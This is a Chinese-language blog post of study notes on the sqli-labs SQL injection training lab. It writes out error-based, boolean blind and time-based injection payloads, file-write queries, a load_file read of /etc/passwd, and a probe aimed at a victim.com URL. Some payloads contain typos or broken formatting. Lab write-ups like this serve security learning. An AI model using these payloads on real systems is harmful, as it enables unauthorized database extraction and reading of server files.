前言

sqli-labs是Github上一个印度大叔Audi-1的一个项目,用PHP和MySQL搭建的一个学习SQLI注入的实验平台。印度大叔有亲自自己录过教学视频,只是口音有点重,放在了Youtube上面(这里)。我在此记录一下学习过程中的东西,欢迎交流。

Less 1 - 4

当找到注入点的时候,可以用order by 1/2/3来知道select中共有多少列。如果order by 不管用,可以用union select 1,2,3来判断,因为union要求左右两张表是一样的列数。

当页面不显示数据返回的结果,但是有错误提示,可以利用错误提示将数据dump出来

select concat((select database()))

原理解释Mysql报错注入原理分析(count()、rand()、group by)
select count(), concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a;
美化版
SELECT
count(
),
concat(
0x3a,
0x3a,
(SELECT USER()),
0x3a,
0x3a,
floor(rand(0) * 2)
) a
FROM
information_schema. TABLES
GROUP BY
a;

所以可以进阶一下,查看更多信息
select count(), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a;
美化版
SELECT
count(
),
concat(
0x3a,
0x3a,
(
SELECT
table_name //此处无法用group_concat
FROM
information_schema. TABLES
WHERE
table_schema = DATABASE ()
LIMIT 0,
1
),
0x3a,
0x3a,
floor(rand(0) * 2)
) a
FROM
information_schema. TABLES
GROUP BY
a;
改变limit就可以遍历了,但是子查询中不知道为什么用group_concat就不会错误,所以只能一个个改变limit来。

以下还有两种方式也是一样的效果。
select min(@a:=1) from information_schema.tables group by concat(version(),@a:=(@a+1)%2)

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

当不能使用select * from 的时候,比如后面有and 语句。可以用盲注。

less-8

盲注,这种情况没有错误提时,只能通过true and false来判断。
需要借助的函数是 ascii(), substr(), length() 这样来枚举一个字符串的长度,每一个字母来获取需要的信息。
比如

1
2
select ascii(substr(database(), 3, 1)) <100 
and ascii(substr((select table_name for information_schema.tables limit 1), 3 ,1)) < 100

less-9

上一题的盲注是基于真假值得。但是这一题的sql结果无论是否存在与否,网页前端都是同一个效果,所以我们这一题的盲注要通过一个小技巧,叫做时间盲注。要用到sleep()函数。
可以构造构造如下的payload

1
2
3
select ascii(substr(databse(), 3,1 )) = 90 and sleep(10)
select if((select database())="security", sleep(10), null)
select if((select database() like "sec%"), sleep(10), null)

假如第一个字母是正确的话,那么我们网页就等等待10秒才返回结果,如果错误就立即返回了。通过这两个时间的差距,我们就可以判断。

using outfile (lesst-7)

1
2
select * from users into outfile "/tmp/test.txt"
select * from users limit 1 into dumpfile "/tmp/test.txt"

outfile可以多行,dumpfile只能一行

1
2
3
4
5
6
7
8
9
10
select load_file("/etc/passwd") into outfile "/tmp/test.txt"
```
路径名一般用网站的目录,至于网站的目录就用其他方法来猜测和确定。

# less-12
从11开始,就是post方法的注入了。
这里也是基于页面的Mysql错误提示来猜测SQL的写法。

# less 14
因为这里成功登入之后没有任何有用的信息返回,但是错误SQL的时候页面会有错误提示,所以我们要用双重注入。

“ and (select 1 from (select count(), (concat(““,version(),”“,floor(rand(0)2)))c from information_schema.tables GROUP BY c)a) #

1
2
3
4
5

# less 16
这题是盲注

# less 17

update users set password=’$psd’ where username=’$uname’

1
2
3
这题就需要用双重注入

# less 18

‘::1’, ‘admin’)’ at line 1
insert into uagents (agents, ip , uname) value(‘’, ‘’, ‘admin’)
insert into uagents(agent, ip, uname) value(‘’ or 1 = ‘1’, ‘::1’, ‘admin’)

```
这里应该用双重注入

less 20

基于cookie的注入, 这里其实也就是另一种形式的基于错误的注入。

less 21

和上面一样,只是加多一道加密的过程。

有趣小知识

  1. 可以通过一个有趣的小测试来识别是否存在单引号漏洞:
    向Web服务器发送下面两个请求:
    a. http://www.victim.com/showproducts.php?category=bikes
    b. http://www.victim.com/showproducts.php?category=bi'||'kes
    在Microsoft SQL Server中与之等价的请求为:
    a. http://www.victim.com/showproducts.php?category=bikes
    b. http://www.victim.com/showproducts.php?category=bi'+'kes
    在MYSQL中与之等价的请求为(请注意两个单引号之间的空格):
    a. http://www.victim.com/showproducts.php?category=bikes
    b. http://www.victim.com/showproducts.php?category=bi' ‘kes
    如果两个请求的结果相同,那么很可能存在SQL注入漏洞。